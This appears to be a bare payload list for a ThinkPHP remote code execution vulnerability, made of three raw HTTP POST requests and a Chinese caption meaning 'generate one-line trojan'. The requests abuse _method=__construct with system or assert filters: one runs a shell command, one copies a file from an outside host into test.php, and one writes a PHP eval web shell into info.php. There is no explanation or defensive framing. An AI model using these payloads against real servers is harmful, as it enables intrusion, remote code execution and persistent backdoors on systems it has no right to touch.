<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter[]=system&method=GET&get[]=dir
<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown
生成一句话木马
<!-- POST -->http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->Content-Type:application/x-www-form-urlencoded
<!-- Body -->_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123